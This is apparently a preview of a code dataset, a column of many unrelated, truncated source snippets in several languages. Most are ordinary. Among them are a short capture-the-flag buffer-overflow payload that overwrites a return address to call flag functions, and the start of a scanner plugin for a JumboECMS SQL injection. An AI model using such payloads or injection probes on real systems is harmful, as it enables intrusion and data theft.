text
stringlengths
3
1.05M
module.exports = function (message, params, config) { var output = Math.round(Math.random() * 100); if (output < 49) { message.channel.send(":money_with_wings: The coin landed on tails!"); } else if (output >= 51) { message.channel.send(":money_with_wings: The coin landed on heads!"); } else if (output...
# Copyright 2010 OpenStack Foundation # Copyright 2013 NTT corp. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LIC...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import re import string import sys import requests from datetime import datetime from typing import List, Optional, Union, Dict from urllib.parse import urlparse import pandas as pd import numpy as np import slack.errors from datetime import datetime as dt from r...
//-*-C++-*- /*************************************************************************** * * Copyright (C) 2005 by Willem van Straten * Licensed under the Academic Free License version 2.1 * ***************************************************************************/ // psrchive/More/MEAL/MEAL/PhysicalCoheren...
import Vue from 'vue' // 弹框提示组件 import { Button, Form, FormItem, Input, Message, Container, Header, Aside, Main, Menu, Submenu, MenuItem, Breadcrumb, BreadcrumbItem, Card, Row, Col, Table, TableColumn, Switch, Tooltip, Pagination, Dialog, MessageBox, Tag, Tre...
import '../assets/style/themes/theme-light.scss'; import '../assets/style/ant_custom.less'; import 'highlight.js/styles/atom-one-light.css';
from django.conf.urls import url from .views import empty_view urlpatterns = [ url(r'^$', empty_view, name="inner-nothing"), url(r'^extra/(?P<extra>\w+)/$', empty_view, name="inner-extra"), url(r'^(?P<one>[0-9]+)|(?P<two>[0-9]+)/$', empty_view, name="inner-disjunction"), ]
from __future__ import absolute_import, division import math import numbers import random import warnings from enum import Enum from types import LambdaType from skimage.measure import label import cv2 import numpy as np from . import functional as F from .bbox_utils import denormalize_bbox, normalize_bbox, union_of...
from typing import List from src.style import Style from datetime import datetime, timedelta import os from subprocess import check_output import re OUTPUT_TEMPLATE_INLINE = f"""{Style.BOLD}%title{Style.END} by %author Duration: %time | Uploaded in: %upload """ OUTPUT_TEMPLATE = f"""{Style.BOLD}%title{Style.END} Dura...
/* eslint-env node, mocha */ // Enable strict mode for older versions of node // eslint-disable-next-line strict, lines-around-directive 'use strict'; const path = require('path'); const fs = require('fs-extra'); const chai = require('chai'); // Waiting for older versions of node to drop off before using destructuri...
import struct import telnetlib def p(x): return struct.pack('<L', x) get_flag2 = 0x804892b setup_get_flag2 = 0x8048921 # Flag 2 payload = "" payload += "P"*112 # Add the padding leading to the overflow payload += p(setup_get_flag2) payload += p(get_flag2) print(payload)
import Vue from 'vue' import App from './App.vue' Vue.config.productionTip = false import './assets/iconfont/iconfont.css' import '@/assets/scss/style.scss' import router from './router' import VueAwesomeSwiper from 'vue-awesome-swiper' import 'swiper/css/swiper.css' Vue.use(VueAwesomeSwiper) import Card from './co...
/****************************************************************************** * * Copyright (C) 2013 - 2016 Xilinx, Inc. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Softw...
//冒泡排序 //当前元素a与下一个元素b比较大小 //b大于a时,交换位置 function bubbleSort(array) { let boundary = array.length - 1 while(boundary--){ let alreadySorted = true for (let j = 0; j < boundary + 1; j++) { if( array[j + 1] < array[j] ){ [array[j], array[j+1]] = [array[j+1], array[j]] ...
module.exports = { presets: ["@babel/env"], env: { test: { presets: [ [ "@babel/preset-env", { targets: { node: "current" } } ] ] } } };
#include <Rtl.Base.h> #include <FarPluginBase.hpp> #include <array.hpp> #include "../../module.hpp" #include "wcxhead.h" typedef HANDLE (__stdcall *PLUGINOPENARCHIVE)( tOpenArchiveData* ArchiveData ); typedef int (__stdcall *PLUGINCLOSEARCHIVE)( HANDLE hArcData ); typedef int (__stdcall *PLUGINREADHEADER)( HAND...
import Command from '../../utils/comando.js'; import Discord from 'discord.js'; import config from '../../config/bot.json'; import util from 'util'; export default class extends Command { constructor(options){ super(options) this.usage = "log-unignore <#CANAL>"; } async run(message, args){ ...
#!/usr/bin/env python3 import optparse import re def parse_options(): """ Parse the options guiven to the script """ parser = optparse.OptionParser(description='Get unmatched blast queries') parser.add_option('-f', '--fasta', dest='fasta_file', help='Query fasta file used du...
#!/usr/bin/env python # ROS packages required import rospy import rospkg # Dependencies required import gym import os import numpy as np import pandas as pd import time # from stable_baselines.common.policies import MlpPolicy, MlpLstmPolicy, MlpLnLstmPolicy # from stable_baselines.common.vec_env import DummyVecEnv # f...
import dataclasses from unittest.mock import Mock import pytest from satellite.audit_logs import emit, subscribe from satellite.audit_logs.records import AuditLogRecord from satellite.audit_logs.store import AuditLogStore, UnknownFlowIdError from satellite.proxy import ProxyMode @dataclasses.dataclass class AuditLo...
// Add Initialize Juniper button to dropdown menu $(document).ready( function() { var launchMenu = undefined; for (var i=0; i<$('.dropdown-buttons').length; i++) { var dropdown = $('.dropdown-buttons')[i]; var menuIcon = $(dropdown).siblings('button').first(); if ($(menuIcon).attr("aria...
/** * Copyright IBM Corp. 2019, 2020 * * This source code is licensed under the Apache-2.0 license found in the * LICENSE file in the root directory of this source tree. * * Code generated by @carbon/icon-build-helpers. DO NOT EDIT. */ import { _ as _objectWithoutProperties, I as Icon, a as _extends } from '../I...
/** * React Starter Kit (https://www.reactstarterkit.com/) * * Copyright © 2014-2016 Kriasoft, LLC. All rights reserved. * * This source code is licensed under the MIT license found in the * LICENSE.txt file in the root directory of this source tree. */ import React from 'react'; import NotFound from '../notFou...
# Licensed under a 3-clause BSD style license - see LICENSE.rst from __future__ import print_function import socket import time import copy import sys import re import os from astropy.io import ascii from . import BESANCON_DOWNLOAD_URL, BESANCON_MODEL_FORM, BESANCON_PING_DELAY, BESANCON_TIMEOUT from astropy.extern.six....
const GooogleStrategy = require('passport-google-oauth20').Strategy; const mongoose = require('mongoose'); const passport = require('passport'); const { use } = require('passport'); const User = require('../models/User'); module.exports = function (pasport) { pasport.use(new GooogleStrategy({ clientID: process.e...
#!/usr/bin/env python """Tests for `zre_raft` package.""" import unittest from zre_raft import chat class TestZre_raft(unittest.TestCase): """Tests for `zre_raft` package.""" def setUp(self): """Set up test fixtures, if any.""" def tearDown(self): """Tear down test fixtures, if any."...
""" Utility methods """ import calendar from datetime import datetime from dateutil.parser import parse from dateutil.relativedelta import relativedelta from dateutil.tz import tzlocal, tzutc from decimal import Decimal from dynamo3 import Binary try: from shutil import get_terminal_size # pylint: disable=E0611 ...
'''Trains a simple binarize fully connected NN on the MNIST dataset. Modified from keras' examples/mnist_mlp.py Gets to 97.9% test accuracy after 20 epochs using theano backend ''' from __future__ import print_function import numpy as np np.random.seed(1337) # for reproducibility import keras.backend as K from kera...
# Module: Classification # Author: Moez Ali <moez.ali@queensu.ca> # License: MIT # Release: PyCaret 2.2.0 # Last modified : 25/10/2020 import pandas as pd import numpy as np import pycaret.internal.tabular from pycaret.internal.Display import Display, is_in_colab, enable_colab from typing import List, Tuple, Any, Uni...
from bruges import reflection import bruges.filters as wavelet """ This file holds data strctures and constants used in the modelr application """ REFLECTION_MODELS = { 'zoeppritz': reflection.zoeppritz, 'zoeppritz_rpp': reflection.zoeppritz_rpp, 'akirichards': reflection.akirichards, 'akirichards_alt...
from app import create_app, db from flask_script import Manager, Server from app.models import User,Pitch,Comment,Upvote,Downvote from flask_migrate import Migrate, MigrateCommand app = create_app('production') migrate = Migrate(app,db) manager = Manager(app) manager.add_command('server', Server) manager.add_command...
const Joi = require('joi'); const { objectId, password } = require('./custom.validation'); // TODO - test all validation types // separate them from the route controller tests const createUser = { body: Joi.object().keys({ name: Joi.string().required(), username: Joi.string().required(), email: Joi.stri...
import torch.nn as nn class C3D(nn.Module): """ The C3D network as described in [1]. """ def __init__(self): super(C3D, self).__init__() self.conv1 = nn.Conv3d(3, 64, kernel_size=(3, 3, 3), padding=(1, 1, 1)) self.pool1 = nn.MaxPool3d(kernel_size=(1, 2, 2), stride...
//===-- ScriptInterpreterPythonImpl.h ---------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===---------------------------...
import pandas as pd import numpy as np import altair as alt import streamlit as st import sys, argparse, logging import json import fasttext import os.path from os import path def reset_file(filename): f = open(filename, "w") f.write("") f.close() def write_to_file(filename, content): f = open(filen...
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
import torch import numpy as np import torch.nn as nn from torch.autograd import Variable def _concat(xs): return torch.cat([x.view(-1) for x in xs]) class Architect(object): def __init__(self, model, args): self.network_momentum = args.momentum self.network_weight_decay = args.weight_decay...
import React, { Component } from "react"; import { connect } from "react-redux"; import { bindActionCreators} from "redux"; import { fetchWeather } from "../actions/index"; class SearchBar extends Component { // If you use a callback, that points to "this", // chances are you need to bind it constructor(props) { ...
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import <XCSCore/XCSObject.h> @class NSArray, XCSIntegrationIssueDiff; @interface XCSIntegrationIssues : XCSObject { XCSIntegrationIssueDiff *_errors; XCSIntegrationIssueD...
from direct.distributed.DistributedObject import ESGenerating, ESGenerated, ESNum2Str class DelayDeletable: DelayDeleteSerialGen = SerialNumGen() def delayDelete(self): pass def acquireDelayDelete(self, name): global ESGenerating global ESGenerated if not self._delayDelete...
#!/usr/bin/evn python #-*-:coding:utf-8 -*- #Author:404 #Name:JumboECMS V1.6.1 注入漏洞 #Refer:http://www.wooyun.org/bugs/wooyun-2010-062717 #注入表名 jcms_normal_user 列名UserName 和 UserPass def assign(service,arg): if service=="jumboecms": return True,arg def audit(arg): url=arg+"plus/slide...
/* * * Copyright (c) 2020 Project CHIP Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless requir...
from django.contrib import admin from home.models import Contact # Register your models here. admin.site.register(Contact)
from .darknet import Darknet from .detectors_resnet import DetectoRS_ResNet from .detectors_resnext import DetectoRS_ResNeXt from .hourglass import HourglassNet from .hrnet import HRNet from .regnet import RegNet from .res2net import Res2Net from .resnet import ResNet, ResNetV1d from .resnext import ResNeXt from .ssd_v...
import pytest from numpy import equal from vizml.data_generator import CircleDataGenerator @pytest.mark.parametrize( "no_of_points", [0, 1, 2, 3] ) def test_same_intial_generation(no_of_points): """New instances must generate same first values as old instances.""" a = CircleDataGenerator().generate(no_of...
"""Sensor platform for UniFi Network integration. Support for bandwidth sensors of network clients. Support for uptime sensors of network clients. """ from datetime import datetime, timedelta from homeassistant.components.sensor import DOMAIN, SensorDeviceClass, SensorEntity from homeassistant.const import DATA_MEGA...
from django.test import TestCase from .setup import setup_fixtures from apps.surveys19.models import Survey, ShortTermHire, WorkType, Month class ShortTermHireTestCase(TestCase): @classmethod def setUpTestData(cls): # load fixtures setup_fixtures() def test_create_shorttermhire(self): ...
module.exports = { development:{ 'facebook' : { 'consumerKey': '...', 'consumerSecret': '...', 'callbackUrl': 'http://socialfeed.com:8000/auth/facebook/callback' }, 'twitter' : { 'consumerKey': '...', 'consumerSecret': '...', 'callbac...
// Copyright (c) 2014 Baidu, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed...
# Generated by Django 3.1 on 2021-01-04 02:13 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('projektrouska', '0002_auto_20210104_0027'), ] operations = [ migrations.AlterField( model_name='precaution', name='prio...
from flask import Flask from flask_sqlalchemy import SQLAlchemy from shared import config __version__ = '0.1.0' db = SQLAlchemy() def create_api(): ''' Create API with Flask. ''' app = Flask(__name__) app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config['SQLALCHEMY_DATABASE_URI'] ...
export function __cargo_web_snippet_60e0a6758ca35150f5b32e2508e2ccbb713f85ab(Module, $0, $1) { $1 = Module.STDWEB_PRIVATE.to_js($1);Module.STDWEB_PRIVATE.from_js($0, (function(){return($1).crossOrigin;})()); }
# -*- coding: utf-8 -*- # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software ...
import Vue from 'vue' import Vuex from 'vuex' Vue.use(Vuex) const store = new Vuex.Store({ state: { isAuth: false }, mutations: { login(state) { state.isAuth = true }, logout(state) { state.isAuth = false } }, actions: { login(context) { context.commit('login') }...
import torch class GenericDataset(torch.utils.data.Dataset): def __init__(self, x, y): self.x = x self.y = y def __getitem__(self, index): return self.x[index], self.y[index] def __len__(self): return self.y.shape[0]
from flask_wtf import FlaskForm from wtforms import StringField, SubmitField, TextAreaField class CommonForm(FlaskForm): input = StringField('Input') postcode = StringField('Postcode') uprn = StringField('UPRN') classificationfilter = StringField('Classification Filter') limit = StringField('Limi...
import os import re from distutils.errors import DistutilsSetupError from enum import IntEnum, auto from typing import Dict, List, Optional, Union import semantic_version class Binding(IntEnum): """ Enumeration of possible Rust binding types supported by `setuptools-rust`. Attributes: PyO3: This...
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
from __future__ import unicode_literals import pipes import pytest import pre_commit.constants as C from pre_commit import git from pre_commit.commands.autoupdate import _check_hooks_still_exist_at_rev from pre_commit.commands.autoupdate import autoupdate from pre_commit.commands.autoupdate import RepositoryCannotBe...
"""Youtubedlg module responsible for parsing the options. """ import os.path from .utils import remove_shortcuts from .utils import to_string class OptionHolder(object): """Simple data structure that holds informations for the given option. Args: name (string): Option name. Must be a valid option na...
import os from imbDRL.agents.ddqn import TrainDDQN from imbDRL.data import load_csv from imbDRL.metrics import (classification_metrics, network_predictions, plot_confusion_matrix, plot_pr_curve, plot_roc_curve) from imbDRL.utils import rounded_dict os.environ["C...
import Vue from 'vue' import Router from 'vue-router' Vue.use(Router) /* Layout */ import Layout from '@/layout' /** * Note: sub-menu only appear when route children.length >= 1 * Detail see: https://panjiachen.github.io/vue-element-admin-site/guide/essentials/router-and-nav.html * * hidden: true ...
# -*- coding: utf-8 -*- import logging import re import shutil import tempfile from collections import defaultdict from contextlib import contextmanager from typing import Optional from typing import Set from typing import Union from poetry.core.utils._compat import Path from poetry.core.utils._compat import to_str f...
# Copyright (c) 2018 Sony Pictures Imageworks Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2019 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in co...
# ***************************************************************************** # # Copyright (c) 2020, the ipyregulartable authors. # # This file is part of the jupyterlab_templates library, distributed under the terms of # the Apache License 2.0. The full license can be found in the LICENSE file. #
import tensorflow as tf def weight_cross_entropy(label, logits, pos=None): ''' 带权重的交叉熵作为评估函数 :param label: 理想结果 :param logits: 模型运算得到的结果 :return: 返回平均的交叉熵 ''' with tf.name_scope('Loss'): if pos is None: numNF = tf.reduce_sum(1 - label) numF = tf...
#!/usr/bin/python # -*-encoding=utf8 -*- # @Author : imooc # @Email : imooc@foxmail.com # @Created at : 2018/11/2 # @Filename : proxy.py # @Desc : import W...
"""empty message Revision ID: 2a82e0283a20 Revises: e66737e76aa2 Create Date: 2019-07-21 17:50:39.866014 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2a82e0283a20' down_revision = 'e66737e76aa2' branch_labels = None depends_on = None def upgrade(): # ...
(function(){function k(){this.c="1256799927";this.ca="z";this.Z="";this.W="";this.Y="";this.C="1496282956";this.aa="z11.cnzz.com";this.X="";this.G="CNZZDATA"+this.c;this.F="_CNZZDbridge_"+this.c;this.P="_cnzz_CV"+this.c;this.R="CZ_UUID"+this.c;this.L="UM_distinctid";this.H="0";this.K={};this.a={};this.Aa()}function g(a...
# -------------------------------------------------------- # Fast R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick # -------------------------------------------------------- """Blob helper functions.""" import cv2 import numpy as np from ..uti...
import pytest from starlette.testclient import TestClient from response_model.tutorial004 import app client = TestClient(app) openapi_schema = { "openapi": "3.0.2", "info": {"title": "FastAPI", "version": "0.1.0"}, "paths": { "/items/{item_id}": { "get": { "responses":...
/*! jQuery UI - v1.11.4 - 2015-03-11 * http://jqueryui.com * Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.j...
/**************************************************************************** * * Copyright 2016 Samsung Electronics All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at...
#!/usr/bin/python # Copyright (c) 2017 Alibaba Group Holding Limited. He Guimin <heguimin36@163.com.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms...
""" Define an interface for observers and subjects. A singleton decorator is also defined. """ import functools def singleton(cls): instances = {} def getinstance(): if cls not in instances: instances[cls] = cls() return instances[cls] return getinstance class Observer: ...
# Generated by Django 4.0.2 on 2022-04-26 12:55 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Coupon', fields=[ ('id', models.BigAutoFiel...
import random import math from itertools import groupby import matplotlib.pyplot as plt import networkx as nx import numpy as np from prettytable import PrettyTable ########################################################################### # 随机产生城市坐标和城市间距离 def randomCityCoordinate(cityNum): """ 随机产生城市坐标 :para...
# coding:utf-8 """ Created on Tue Mar 26 21:16:49 2019 @author: jiali zhang bearing fault diagnosis by cnn """ import time import numpy as np from tensorflow.keras.callbacks import TensorBoard from tensorflow.keras.layers import Dense, Conv1D, BatchNormalization, MaxPooling1D, Activation, Flatten, Dropout from tens...
#### NOTICE: THIS FILE IS AUTOGENERATED #### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY #### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES from swgpy.object import * def create(kernel): result = Tangible() result.template = "object/tangible/lair/kaadu/shared_lair_kaadu_swamp.iff" result.attribute_template_i...
""" ImageNet Validation Script Adapted from https://github.com/rwightman/pytorch-image-models The script is further extend to evaluate VOLO """ import argparse import os import csv import glob import time import logging import torch import torch.nn as nn import torch.nn.parallel from collections import OrderedDict from...
/**************************************************************************** * * Copyright (c) 2013-2017 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Red...
import React, {Component} from 'react'; import { TableRow, TableRowColumn } from 'material-ui/Table'; import DeleteBtn from './DeleteBtn'; import EditBtn from './EditBtn'; export class ShowReview extends Component { render() { return ( <TableRow hoverable={true} key={this.props.key...
#include<LPC21XX.h> void uart_init(); void delay(unsigned long int x); unsigned char msg[]="hello yash"; int main() { int i; uart_init(); for(i=0;msg[i]!='\0';i++) { U1THR =msg[i]; while((U1LSR&0x40)==0) {} delay(0x1000); } while(1) {} } void uart_init() { PINSEL0 = 0x00050000; //0101 U1LCR = 0X83;//8 for en...
#!/usr/bin/env python3 # This file is a part of toml++ and is subject to the the terms of the MIT license. # Copyright (c) Mark Gillard <mark.gillard@outlook.com.au> # See https://github.com/marzer/tomlplusplus/blob/master/LICENSE for the full license text. # SPDX-License-Identifier: MIT import sys import os.path as p...
import { Meteor } from 'meteor/meteor'; import './dao.js'; Meteor.methods({ 'agent.get.all'() { return Meteor.call('dao.agent.get.all'); }, });
import test_util def test_broken_message_handling(generator_label): test_util.build_for(generator_label, "broken", "BrokenMessages") test_util.run_for(generator_label, "broken") def test_broken_writing_comparison(): test_util.check_files_identical("broken.*.msg") def test_truncated_message_handling(gener...
import styled from "styled-components"; export const ChangePhotoContainer = styled.button` background-color: ${(props) => props.theme.secondaryBackground}; display: inline-flex; justify-content: center; align-items: center; border-radius: 6px; margin-right: 40px; margin-bottom: 15px; cursor: pointer; ...
import value from '../../../../assets/scss/_themes-vars.module.scss'; const chartData = { height: 480, type: 'bar', options: { chart: { stacked: true, toolbar: { show: true }, zoom: { enabled: true } ...
# Copyright 2021 DAI Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
#!/usr/bin/python3 import sys def hamming_distance(a, b): """ Calculates the Hamming-Distance of a and b """ if len(a) != len(b): print("[Error] Strings need to be of same length!") sys.exit(-1) hamming_distance = 0 for i in range(len(a)): if a[i] != b[i]: ...
# # Copyright 2018-2019 IBM Corp. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
#!/usr/bin/env python from urlparse import urldefrag original = 'http://netloc/path;param?query=arg#frag' print'original:',original url, fragment = urldefrag(original) print'url :',url print'fragment :',fragment
/**@preserve GeneXus Java 10_3_12-110051 on December 12, 2020 13:55:54.0 */ gx.evt.autoSkip = false; gx.define('hentradaprovprodlote', false, function () { this.ServerClass = "hentradaprovprodlote" ; this.PackageName = "" ; this.setObjectType("web"); this.setOnAjaxSessionTimeout("Warn"); this.hasEnter...
module.exports = { theme: { extend: { colors: { 'cvs-red': '#A44342', 'cvs-green-light': '#e7f4f7', 'cvs-green': '#cde2e2', 'cvs-green-dark': '#2B7889', 'cvs-gold': '#F2CC20', 'cvs-facebook': '#1877f2', 'cvs-facebook-dark': '#115cbd', 'cvs-twit...
import WORC import os import glob def editconfig(config): # Use Segmentix to fill holes if present in the segmentation config['General']['Segmentix'] = 'True' # Some specific configuration alterations config['Preprocessing']['Normalize'] = 'False' # No Normalization for CT config['ImageFeatures...
// import Table from '../../view/services/dom/table'; // import Cell from '../../view/services/dom/cell'; // import Row from '../../view/services/dom/row'; // import Column from '../../view/services/dom/column'; // import angular from 'angular'; //necessary to test CellDom model property // // const myWindow = window.o...
"use strict"; var __extends = (this && this.__extends) || (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (b.hasOwnPrope...
import {renderMarkdown} from './render-markdown.js'; class Page extends HTMLElement { get location() { return this._location; } set location(location) { const page = location.pathname == '/' ? '/src/about.md' : `/node_modules/j-elements/docs${location.pathname}.md`; renderMarkdown(page, this); t...